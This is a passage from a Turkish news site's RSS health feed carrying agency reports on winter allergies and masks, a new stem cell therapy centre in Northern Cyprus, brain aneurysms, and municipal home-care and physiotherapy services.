<p><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”><strong>YIKANABİLEN MASKELER ASTIMI TETİKLEYEBİLİR!</strong></span></span></p>

<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Çocuklarda maske kullanımı konusunda aklında soru işaretleri bulunan aileler için de önemli bilgiler veren <strong>Cansever,</strong> ”Maske iki yaşın üzerinde özel sağlık sorunu olmayan çocuklarda kullanılabilir. Solunum yolları küçük olması nedeniyle nefes almakta oluşabilecek güçlük nedeniyle 2 yaş altı çocuklarda maske takılmaması önerilir. Maske seçiminde yüze tam oturan, burnu ve ağzı tam kapatan TSE onaylı ürünler tercih edilmelidir. Bu ürünlerin alerji riski düşük, lateks, paraben, naylon gibi maddeler içermeyen özellikte olması önemlidir” dedi. Maske takmanın astımı tetiklediğini gösteren bilimsel çalışma olmadığının da altını çizen <strong>Doç. Dr. Murat Cansever</strong>, ”Şu ana kadar yapılan bilimsel çalışmalar astım atağında olmayan, astım semptomları kontrol altında olan hastalarda maske kullanımının herhangi bir sorun oluşturmadığını ve astımı tetiklemediğini gösterdi. Ancak bez maske kullanımında, maskenin parfümlü deterjan veya yumuşatıcı ile yıkanması sonucu astım hastalığı tetiklenebilir.</span></span></p>

<p style=”text-align:justify”> </p>

<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”><strong>KİMLER RİSK ALTINDA? HANGİ ÖNLEMLER ALINMALI?</strong></span></span></p>

<ul style=”margin-left:44px”>
	<li><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Kış aylarında özellikle daha önceden bilinen astım, alerjik nezle, egzama, kronik ürtiker (kurdeşen) gibi hastalıkları olan bireyler,</span></span></li>
	<li><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Yaşadığı dış ortam ısısı olağan kış ayları ortalama hava sıcaklığının çok daha altında olan ve iç ortam neminin çok fazla arttığı bölgelerde yaşayan bireyler,</span></span></li>
	<li><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Yaşanılan bölgede artmış endüstriyel alt yapıya bağlı oluşabilecek hava kirliliğinin artışı ve bu bölgelerde yaşayanlar,</span></span></li>
	<li><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Kış aylarında nemin artması sonrası artan ev tozu akarları, her çeşit kumaş türünde yaşayabilmektedir. Sıklıkla yün yastık, yorgan ve yatakta, kadife perdeler gibi alanlarda yüksek oranda bulunurlar. Bu kumaşları kullananlar da risk altında.</span></span></li>
	<li><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Kullanılan yatak, yastık ve yorgan yün/kuştüyü olmamalı ve mümkünse akar geçirmeyen tıbbi özel kılıflarla kaplanmalı. Mümkünse halılar kaldırılmalı, değilse büyük bir halı yerine küçük ince bir kilim kullanılmalı. Kalın perdeler yerine stor veya tül perde tercih edilmeli.</span></span></li>
	<li><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Yaşanılan odada mümkün oldukça az eşya bulundurup kitap ve oyuncak gibi eşyalar kapalı dolaplarda saklanmalı.</span></span></li>
	<li><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Akarların çok yoğun olarak yaşayabileceği tüylü ve peluşlu oyuncaklar uzaklaştırılmalı.</span></span></li>
	<li><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Her hafta en az bir defa HEPA filtreli veya yüksek vakumlu elektrik süpürgesi ile tüm oda temizlenmeli.</span></span></li>
	<li><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Alerjik hastalığı olan bireyler, kış aylarında diğer mevsimlere oranla daha fazla artan hava kirliliği olan ortamlardan uzak durmalı, kalabalık ve havalandırması olmayan kapalı ortamlarda uzun süre bulunmamalı. </span></span></li>
	<li><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Sigara maruziyetinden uzak durulmalı</span></span></li>
	<li><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Soğuk havanın solunum yollarını etkilememesi için ağız, burun ve göz gibi organlar iyi korunmalı</span></span></li>
	<li><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Soğuk alerjisi olan bireylerin kış aylarında kalın giyinmesi ve soğuğa maruz kalınan süreyi azaltması gerekir.</span></span></li>
	<li><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Alerjik hastalar, hava kirliğinin yoğun olduğu ortamlardan uzak durmalı, kreş/okul gibi genel ortamlarda hijyen kurallarına dikkat etmeli ve sık sık eller yıkanmalıdır.</span></span></li>
</ul>
<br>Kaynak: (BYZHA) - Beyaz Haber Ajansı]]></content:encoded>
                <pubDate>Thu, 10 Nov 2022 11:35:41 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/11/kis-alerjileri-nasil-meydana-gelir-onlemi-1668069341.jpg"/>
            </item>
                                <item>
                <title>Kök hücre tedavisi Nasıl yapılır</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/kok-hucre-tedavisi-nasil-yapilir-548526</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/kok-hucre-tedavisi-nasil-yapilir-548526</guid>
                <description><![CDATA[Yakın Doğu Oluşum Hastaneleri, KKTC’de ilk kez kök hücre tedavisine başladı]]></description>
                <content:encoded><![CDATA[<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”><strong>Yakın Doğu Oluşum Hastaneleri, KKTC’de ilk kez kök hücre tedavisine başladı</strong></span></span></p>

<p style=”text-align:justify”> </p>

<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”><strong>Yakın Doğu Üniversitesi Hastanesi, Dr. Suat Günsel Girne Üniversitesi Hastanesi ve Stembio iş birliğinde kurulan ”Hücre Doku ve Rejeneratif Uygulamalar ve Araştırma Merkezi” ile KKTC’de ilk kez kök hücre tedavisi uygulanmaya başladı.</strong></span></span></p>

<p style=”text-align:justify”> </p>

<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Yakın Doğu Üniversitesi Hastanesi, Dr. Suat Günsel Girne Üniversitesi Hastanesi ve Türkiye’de kordon kanı, hücre ve doku teknolojileri alanında faaliyet gösteren yeni nesil biyoteknoloji şirketi Stembio iş birliğinde ”Hücre Doku ve Rejeneratif Uygulamalar ve Araştırma Merkezi” kuruldu. KKTC’de bu alanda ilk ve tek olan merkezde, doku ve hücresel tedaviler gerçekleştirilmeye başlandı. Merkezde ilk etapta ortopedi, plastik rekonstrüktif ve estetik cerrahi, üroloji, kadın hastalıkları ve doğum ile fiziksel tıp ve rehabilitasyon branşlarında 6 hastaya kök hücre tedavisi uygulandı.</span></span></p>

<p style=”text-align:justify”> </p>

<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Günümüzde literatüre ”Rejeneratif” ya da ”Yenileyici” tıp adıyla girmiş olan tedavi uygulamaları, yaralanma ve kronik hastalıkların doku ve organlarda neden olduğu hasarları iyileştirerek hastalara umut oluyor. Rejeneratif tıptaki ilerlemeler, yaralanma ve hastalıklara bağlı sonradan gelişen hasarların tedavisi yanı sıra koruyucu tıp alanında da hasar oluşumunu önlemede büyük rol oynuyor. Tedavi uygulamalarında kişinin kendi vücudundaki kan, kemik iliği ya da yağ dokusu gibi kaynaklardan elde edilen hücreler, hasarlı doku ve organlara enjekte edilebildiği gibi, yeni doğmuş bebeklerin kordon dokusundan alınan kök hücreler de uygun hastalarda hücresel tedavi için kullanılabiliyor. Böylece vücuttaki hasarlı doku ve organ fonksiyonlarının yenilenmesi sağlanıyor.</span></span></p>

<p style=”text-align:justify”> </p>

<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”><strong>İlk etapta 6 hastaya uygulandı!</strong></span></span></p>

<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Hücresel ve moleküler düzeyde gelişen sağlık teknolojileri tıbbın geleceğini şekillendiriyor. Yakın Doğu Üniversitesi Hastanesi, Dr. Suat Günsel Girne Üniversitesi Hastanesi ve Stembio iş birliğinde oluşturulan kök hücre tedavileri uygulamak ve bu alanda yeni teknolojiler geliştirmek için kurulan ”Hücre Doku ve Rejeneratif Uygulamalar ve Araştırma Merkezi” kordon kanı bankacılığı, doku bankacılığı, kök hücre üretimi ve bankacılığı ile klinik uygulamaları alanlarında hizmet verecek.</span></span></p>

<p style=”text-align:justify”> </p>

<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>İnsan sağlığını tehdit eden pek çok hastalıkta tedaviye destek imkanı sağlayan Rejeneratif Tıp tedavileri, Yakın Doğu Oluşum Hastaneleri tarafından KKTC’de de uygulanabiliyor. Plastik Rekonstrüktif ve Estetik Cerrahi Uzmanı Prof. Dr. Eray Copcu, Stembio Kurucusu ve Genel Medikal Direktörü Prof. Dr. Utku Ateş ile Yakın Doğu Üniversitesi Hastanesi ve Dr. Suat Günsel Girne Üniversitesi Hastanesi hekimlerinin birlikte gerçekleştirdiği ilk uygulamalarda 6 hastanın tedavileri başarı ile gerçekleştirildi.</span></span></p>

<p style=”text-align:justify”> </p>

<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”><strong>Kök hücre tedavisi pek çok hastalığa umut oluyor!</strong></span></span></p>

<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Rejeneratif tıbbın ilave tedavi şansı sağlayabileceği hastalıklar oldukça geniş bir yelpazeye sahip. Kadın hastalıkları ve doğum alanında; yumurta rezervi yetersizliği, endometriumun (dölyatağı) gelişmediği durumlarda ve genital estetik ihtiyacında uygulanabiliyor. Ortopedide ise kıkırdak doku problemleri, kas ve tendon benzeri yumuşak doku yaralanmaları ile erken evre dejeneratif eklem hastalıkları da kök hücre tedavisinin en sık kullanıldığı sorunlar.</span></span></p>

<p style=”text-align:justify”> </p>

<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Tedavi ayrıca ürolojide, cinsel yetersizlik (ereksiyon) problemi, peyronie (peniste sertlik) hastalığı ve idrar kaçırma şikayetlerinde; plastik rekonstrüktif ve estetik cerrahi alanında yanık izlerinin tedavisinde, meme rekonstrüksiyonunda (memenin yeniden yapılandırılması), diyabetik ayak yaralarının, kapanmayan yaraların, beslenmesi bozulmuş doku ve organlardaki iyileşmeyen yaraların tedavisinde de kullanılıyor. Dermatoloji alanında ise yaşlanma karşıtı tedaviler, yüz ve vücut dolgu tedavileri ve yara izlerinin tedavisinde güçlü bir alternatif yaratıyor.</span></span></p>

<p style=”text-align:justify”> </p>

<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”><strong>Prof. Dr. Müfit C. Yenen: ”Hastalarımız için etkili ve güvenilir yardımcı tedavi yöntemleri sunuyoruz.”</strong></span></span></p>

<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>”Konvansiyonel tıbbın yetersiz kaldığı hastalıkların tedavisinde hastalarımız için etkili ve güvenilir yardımcı tedavi alternatifleri sunmak istiyoruz” diyen Yakın Doğu Üniversitesi Hastanesi Başhekimi Prof. Dr. Müfit C. Yenen, ”Dünyada hücresel ve moleküler düzeyde gelişen sağlık teknolojilerini ülkemize getirmek ve bu alanda yenilikçi teknolojilere öncülük etmek hedeflerimiz arasında yer almaktadır” ifadelerini kullandı.</span></span></p>

<p style=”text-align:justify”> </p>

<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”><strong>Prof. Dr. Nail Bulakbaşı: ”Birçok alanda klinik kullanım sağlamayı hedefliyoruz.”</strong></span></span></p>

<p style=”text-align:justify”><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Kıbrıs’ta tıbbın geleceğine yatırım yaptıklarını ifade eden Dr. Suat Günsel Girne Üniversitesi Hastanesi başhekimi Prof. Dr. Nail Bulakbaşı ise sağlık alanındaki en güncel hücresel uygulamaları Yakın Doğu Üniversitesi Hastanesi ve Dr. Suat Günsel Girne Üniversitesi Hastanesi’nde gerçekleştirerek hastalara umut ışığı olacaklarını belirtti.</span></span></p>
<br>Kaynak: (BYZHA) - Beyaz Haber Ajansı]]></content:encoded>
                <pubDate>Thu, 10 Nov 2022 11:34:51 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/11/kok-hucre-tedavisi-nasil-yapilir-1668069291.jpg"/>
            </item>
                                <item>
                <title>Anevrizma Nedir?</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/anevrizma-nedir-548523</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/anevrizma-nedir-548523</guid>
                <description><![CDATA[Beyin anevrizması; beyni besleyen ana atardamarlarının zayıf bölgesinin balon şeklinde genişlemesi olarak tanımlanıyor. Genel olarak ülkemizde her 100 kişiden 1’inde görülen beyin anevrizmalarının en tehlikeli komplikasyonu ise beyin kanamasına yol açabilmesi. Anevrizması olan kişilerin anevrizmasının büyüklüğüne göre değişen oranlarda kanama riski bulunuyor ve baloncuğun patlaması sonucu beyinde kanama gelişebiliyor. Kanamamış olan anevrizmaların büyük çoğunluğu belirti vermeden ve genellikle başka bir amaç için yapılan beyin görüntülemelerinde tesadüfen saptanıyor. Acıbadem Dr. Şinasi Can (Kadıköy) Hastanesi Beyin ve Sinir Cerrahisi Uzmanı Doç. Dr. Yaşar Bayri, kanamış olan anevrizmaların en tipik belirtisinin ise aniden başlayan şiddetli baş ağrısı ve genel durumda kötüleşme olduğuna dikkat çekerek, ”Hastalar bu durumu &lsquo;hayatımın en şiddetli baş ağrısı’ şeklinde tarif ediyorlar. Baş ağrısına bazen kısa süreli bilinç kaybı, bulantı ve kusma eşlik edebiliyor. Nadiren de olsa epileptik nöbet görülebiliyor. Bu tabloda hastanın en kısa sürede sağlık kuruluşuna başvurması hayat kurtarıcı olabiliyor” diyor.]]></description>
                <content:encoded><![CDATA[<p><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Beyin anevrizması; beyni besleyen ana atardamarlarının zayıf bölgesinin balon şeklinde genişlemesi olarak tanımlanıyor. Genel olarak ülkemizde her 100 kişiden 1’inde görülen beyin anevrizmalarının en tehlikeli komplikasyonu ise beyin kanamasına yol açabilmesi. Anevrizması olan kişilerin anevrizmasının büyüklüğüne göre değişen oranlarda kanama riski bulunuyor ve baloncuğun patlaması sonucu beyinde kanama gelişebiliyor. Kanamamış olan anevrizmaların büyük çoğunluğu belirti vermeden ve genellikle başka bir amaç için yapılan beyin görüntülemelerinde tesadüfen saptanıyor. <strong>Acıbadem Dr. Şinasi Can (Kadıköy) Hastanesi Beyin ve Sinir Cerrahisi Uzmanı</strong> <strong>Doç. Dr. Yaşar Bayri</strong>, kanamış olan anevrizmaların en tipik belirtisinin ise aniden başlayan şiddetli baş ağrısı ve genel durumda kötüleşme olduğuna dikkat çekerek, ”Hastalar bu durumu &lsquo;hayatımın en şiddetli baş ağrısı’ şeklinde tarif ediyorlar. Baş ağrısına bazen kısa süreli bilinç kaybı, bulantı ve kusma eşlik edebiliyor. Nadiren de olsa epileptik nöbet görülebiliyor. Bu tabloda hastanın en kısa sürede sağlık kuruluşuna başvurması hayat kurtarıcı olabiliyor” diyor.</span></span></p>

<p><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”><strong> </strong></span></span></p>

<p><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”><strong>Günler öncesinden &lsquo;uyarıcı’ baş ağrıları gelişebiliyor</strong></span></span></p>

<p><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Anevrizmanın damar duvarı ince olduğu için bu bölgeden patlayarak kanamaya yol açabiliyor. Bazen anevrizma patlamadan önce sızıntı şeklinde kanamalar da olabiliyor. Yapılan çalışmalarda; hastaların yüzde 15-50’sinde patlamadan 6-20 gün önce gelişen hafif kanamalar nedeniyle ani ve şiddetli baş ağrısı görüldüğü bildirilmiş. Beyin kanaması geçiren hastaların yüzde 10-15’inde ani ölümler oluşabileceği için bu durumda zaman kaybetmeden sağlık kuruluşuna başvurmak büyük önem taşıyor. Günümüzde anjiografik tomografi, MR anjiografi ve klasik anjiografi yöntemleriyle beyin anevrizmasına tanı rahatlıkla konulabiliyor. </span></span></p>

<p> </p>

<p><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”><strong>Kadınlarda 2 kat daha fazla görülüyor</strong></span></span></p>

<p><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Beyin anevrizmalarının neden oluştuğu henüz tam olarak aydınlatılmamış olsa da bazı etkenlerin riski artırdığı biliniyor. Anevrizma tüm dünyada erkek ve kadınlarda eşit dağılım gösterse de, 50 yaş üstünde bu oran kadınlarda 2 kat fazla görülecek şekilde değişiyor. Bu artışta damar sağlığını koruyan östrojen hormonunun menopozla birlikte azalmasının etkili olduğu belirtiliyor. Beyin ve Sinir Cerrahisi Uzmanı Doç. Dr. Yaşar Bayri, ”İleri yaş, hipertansiyon, sigara ve aşırı alkol kullanımı, ateroskleroz (damar sertliği), travmalar ve endokardit gibi hastalıklar anevrizma riskini yükseltiyor. Bunların yanı sıra polikistik böbrek hastalığı ve fibromüsküler displazi gibi bazı hastalıklarda da anevrizmanın görülme sıklığı daha yüksek oluyor” diyor.  Doç. Dr. Yaşar Bayri, ailede birden fazla kişide var olan anevrizma öyküsünün de riski artırdığına işaret ederek, ”Bu nedenle ailesinde fazla sayıda kişide anevrizma öyküsü olanların risk faktörleri ve tarama yapılması için hekimlerine başvurmaları öneriliyor. Zira erken dönemde tedbir alınması hastanın hayatının kurtulmasını sağlıyor” bilgisini veriyor. </span></span></p>

<p> </p>

<p><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”><strong>Tedavide ilk üç gün çok önemli! </strong></span></span></p>

<p><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Anevrizma, çoğunlukla damarların ikiye ayrıldığı ve kan akımının fazlaca zorladığı damarlarda, kan damarı duvarlarının incelmesinden kaynaklanıyor. Kan bu incelmiş olan damarlarda akışını sürdürürken, kan basıncındaki artış damardaki küçük bir bölgenin tıpkı bir balon gibi dışarı doğru şişmesine yol açıyor. Eğer damar gereğinden fazla zayıflamışsa veya içerisindeki basınç ani artmışsa patlıyor ve bunun sonucunda &lsquo;beyin kanaması’ oluşuyor. Kanamanın gerçekleşmesi halinde anevrizmanın ilk 3 gün içinde tedavi edilmesi büyük önem taşıyor. Zira bir kez patlamış ve beyin kanamasına yol açmış olan anevrizmanın ikinci kez kanama riski çok yüksek oluyor. </span></span></p>

<p> </p>

<p><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”><strong>Klips yöntemiyle kanama riski önleniyor </strong></span></span></p>

<p><span style=”font-size:16px”><span style=”font-family:arial,helvetica,sans-serif”>Beyin anevrizmalarının tedavisinde hedef, baloncuğun patlaması sonucu gelişebilecek olan beyin kanaması riskini ortadan kaldırmak. Bunun için iki tedavi yöntemine başvuruluyor: Balonun açık cerrahi ile klipslenmesi veya endovasküler girişimler, bir başka deyişle damar içi uygulamalar ile kapatılması. Beyin ve Sinir Cerrahisi Uzmanı Doç. Dr. Yaşar Bayri, ”İşlemin hangi yöntemle yapılacağına karar verilmesinde; anevrizmanın boyutu, yerleşim yeri, hastanın yaşı ve genel sağlık sorunlarının varlığı gibi birçok faktör etkili oluyor” diyor. Açık yöntemle yapılan anevrizma ameliyatlarında, mikroskop altında mikrocerrahi yöntemler kullanılarak, genişlemiş olan baloncuğun boynuna uygun olan<strong> </strong>ve<strong> </strong>klips denilen kıskaçlarla anevrizmanın kapatıldığını belirterek, ”Sorunlu bölgenin dolaşım dışına bırakılması sayesinde kanın anevrizmayla ilişkisi kesiliyor. Kan genişlemiş olan damarın içine giremediği için kanama riski önlenmiş oluyor” diyor. Endovasküler yöntemde de genellikle kasıktan yerleştirilen kateter aracılığıyla anevrizma kesesi coil adı verilen tel benzeri madde ile doldurularak kapatılıyor. Doç. Dr. Yaşar Bayri, anevrizmaların çok büyük olduğu ya da kapatma işleminin her iki yöntemle de yapılamadığı tablolarda by-pass cerrahisi yöntemine başvurulduğunu söyleyerek, ”Kanamamış anevrizmalarda ise anevrizmanın boyutuna, şekline ve kanama riskini arttıracak faktörlerin varlığına göre nasıl takip edileceğine karar veriliyor.” diye konuşuyor.  </span></span></p>
<br>Kaynak: (BYZHA) - Beyaz Haber Ajansı]]></content:encoded>
                <pubDate>Thu, 10 Nov 2022 11:33:15 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/11/anevrizma-nedir-1668069195.jpg"/>
            </item>
                                <item>
                <title>Konak Belediyesi’nin sağlık hizmetleri yüz güldürüyor</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/konak-belediyesinin-saglik-hizmetleri-yuz-gulduruyor-548495</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/konak-belediyesinin-saglik-hizmetleri-yuz-gulduruyor-548495</guid>
                <description><![CDATA[Konak Belediyesi’nin sunduğu evde sağlık ve hasta nakil ambulansı hizmetleri Konaklının yüzünü güldürüyor. Belediyenin uzman doktor ve sağlık ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>Konak Belediyesi’nin sunduğu evde sağlık ve hasta nakil ambulansı hizmetleri Konaklının yüzünü güldürüyor. Belediyenin uzman doktor ve sağlık personellerinden oluşan ekiplerin sunduğu hizmetlerden yıl içinde yararlanan hastaların sayısı 1000’i aştı.</strong></span></span></p>  <p><span><span>Konak Belediyesi Sağlık İşleri Müdürlüğü’nün aralıksız sürdürdüğü evde sağlık ve hasta nakil ambulansı hizmetleri Konak’ta yaraları sarıyor. Belediyenin uzman doktor ve sağlık personellerinden oluşan ekipler, hız kesmeden sürdürdükleri hizmetlerle ihtiyacı olan Konaklılar için seferber olurken, yılbaşından bugüne</span></span></p>  <p><span><span>evde sağlık ve hasta nakil ambulansı hizmetlerinden yararlananların sayısı da 1000’i geçti.</span></span></p>  <p><span><span>Konak Belediyesi Sağlık İşleri Müdürlüğü bünyesinde hizmet veren Evde Sağlık Hizmetleri birimi, sağlık kuruluşuna gidemeyecek durumda olan hastanın evine ulaşarak gerekli sağlık hizmetini eksiksiz uyguluyor. Yatak yarası, yara ve diyabetik ayak bakımları ile ameliyat pansumanı, dikiş alma, sonda takma-çıkarma, şeker, tansiyon ölçümü gibi hastanın ihtiyaç duyduğu basit tıbbi müdahaleler özenle gerçekleştiriliyor.</span></span></p>  <p><span><span><strong>Ücret alınmıyor</strong></span></span></p> <p><span><span>Ekipler ayrıca Sağlık Bakanlığı tarafından belirlenen teknik ve tıbbi donanıma sahip ambulansla hasta nakil hizmeti de veriyor. Hafta içi mesai saatlerinde verilen hizmet sayesinde kendi imkânlarıyla herhangi bir sağlık kuruluşuna gidemeyecek durumda olan hastalar evlerinden alınarak hastaneye götürülüyor, tedavi sonrasında da tekrar evine bırakılıyor.</span></span></p> <p><span><span>Konak Belediyesi’nin ücretsiz olarak sunduğu bu hizmetlerden bu yıl içinde yararlanan hastaların sayısı 1000’i aştı. Bu yılbaşından beri 217 vatandaş Konak Belediyesi’nin evde sağlık hizmetinden yararlanırken, 931 hasta da randevu günü ve saatinde ambulansla sağlık kuruluşlarına taşındı ve yeniden evlerine bırakıldı.</span></span></p>  <p><span><span><strong>Önce randevu şart</strong></span></span></p> <p><span><span>Konak Belediyesi Sağlık İşleri Müdürlüğü’nün evde sağlık ve hasta nakil ambulansı hizmetlerinden yararlanmak isteyen hasta ya da yakınların en az bir gün önce Konak Belediyesi Sağlık İşleri Müdürlüğü’nün 0 232 484 22 91 numaralı telefonunu arayarak randevu alması gerekiyor.</span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberin Kaynağı: Beyaz Haber Ajansı</p><p style="text-align: left;">Not :&nbsp;<font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber&nbsp;</span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;">&nbsp;</span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Tue, 01 Nov 2022 11:04:04 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/11/konak-belediyesinin-saglik-hizmetleri-yuz-gulduruyor-T3ua1eX7.jpg"/>
            </item>
                                <item>
                <title>82 yaşında yeniden yürüyebilecek</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/82-yasinda-yeniden-yuruyebilecek-548489</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/82-yasinda-yeniden-yuruyebilecek-548489</guid>
                <description><![CDATA[MERSİN (İGFA) - 82 yaşındaki Kazım Doğan’a birkaç yıl önce sağ hemipleji tanısı konuldu. Doğan’ın zamanla yürüme, el ve ayaklarını kullanma ...]]></description>
                <content:encoded><![CDATA[<img src="https://www.igfhaber.com/static/82/82-yasinda-yeniden-yuruyebilecek-1667287362-126-x750.jpg" /><br /><p><p>MERSİN (İGFA) - 82 yaşındaki Kazım Doğan’a birkaç yıl önce sağ hemipleji tanısı konuldu. Doğan’ın zamanla yürüme, el ve ayaklarını kullanma kabiliyetinde azalmalar oldu. Neredeyse emekleyerek yürüyen Doğan, kişisel bakım ve ihtiyaçlarını gideremeyecek duruma geldiğinde, imdadına Mersin Büyükşehir Belediyesi yetişti. 2022 yılının Ocak ayında hizmet almaya başlayan Doğan, 10 ay gibi bir sürede önemli ilerleme kaydetti.</p>  <p>Evde Sağlık ve Bakım biriminin verdiği fizik tedavi ve rehabilitasyon hizmetinden faydalanmaya başlayan Kazım Doğan, kısa sürede hem kişisel ihtiyaçlarını karşılayabilecek, hem de desteksiz yürüyebilecek duruma geldi. Hem Kazım Doğan, hem de ailesi, Büyükşehir Belediyesi’nin dağları aşan hizmetinden son derece memnun.</p>  <p><strong>Çelik: “Kazım amcamız tam bağımsız ve daha iyi yürüyecek”</strong></p>  <p>Sağlık İşleri Daire Başkanlığı Evde Sağlık Hizmetlerinde çalışan Fizyoterapist Tayfur Çelik,  <strong>“Kazım amcaya ilk geldiğimizde yürüyemiyor ve oturamıyordu. Kolları ve bacaklarında aktif hareket yoktu. Kazım amcamız tedavimizin sonucunda, şu an walker yürüteçle yürüyebiliyor. Kısa mesafelerde desteksiz ve walkersız da yürüyebiliyor. Daha da iyi yürüyecek. Desteksiz, tam bağımsız yapana kadar tedavimize devam edeceğiz”</strong> ifadelerini kullandı.</p>  <p><strong>Kazım Doğan: “Dağın başına bile fizik tedavi hizmeti veriyorlar”</strong></p>  <p>Hastalığının ilk evrelerini anlatırken, <strong>“Düşüyor kalıyordum. Başlangıçta kedi gibi yalpalıyordum”</strong> ifadelerini kullanan Kazım Doğan, Büyükşehir Belediyesi’nin fizik tedavi hizmetinden faydalandığını ve fizyoterapistin kendisiyle fazlasıyla ilgilendiğini kaydederek, “<strong>Spor yaptırıyor, fizik tedavi yaptırıyor. Eskiden elimi bile kaldıramıyordum, şimdi rahatlıkla hareket ettirebiliyorum. Haftada bir geliyorlar ve hiç üşenmiyorlar. Acele etmiyorlar, iyi bakıyorlar, çok faydasını gördüm. Büyükşehir Belediyemizin, dağın başına bile verdiği fizik tedavi hizmeti gerçekten takdire şayan. Allah razı olsun”</strong> diye konuştu.  </p>  <p><strong>Arife Doğan: “Büyükşehir’de hizmette sınır yokmuş, bunu anladık”</strong></p>  <p>Kazım Doğan’ın kızı Arife Doğan, babasının yaşadığı zorlu süreci anlatırken, <strong>“Büyükşehir Belediyesi’nden Allah bin kere razı olsun. O kadar memnunuz ki. Biz bu kadar beklemiyorduk. Bayağı bir tedavi süreci yaşadık. ‘Ölecek’ dediler, bir umut yoktu. Yürüme olayı zaten yoktu, yerde emekliyordu. Tuvalete gidemiyordu” </strong>dedi.</p>  <p>Babasının mevcut durumunun şu an çok iyi olduğunu sözlerine ekleyen Doğan,<strong> “Emekleyerek yürüyen bir insan, şu an ayakları üzerinde durabiliyor. Sol elini kullanıyor, iyi kötü ayakta duruyor. Hizmette sınır yokmuş, bunu anladık. Buraları görüyorsunuz. Kimsenin gelebileceği bir yer değil” </strong>diye konuştu.</p></p><p style="text-align: center; ">Haberin Kaynağı: İGF Haber Ajansı</p><p style="text-align: left;">Not :&nbsp;<font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber&nbsp;</span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">İGF Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;">&nbsp;</span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir 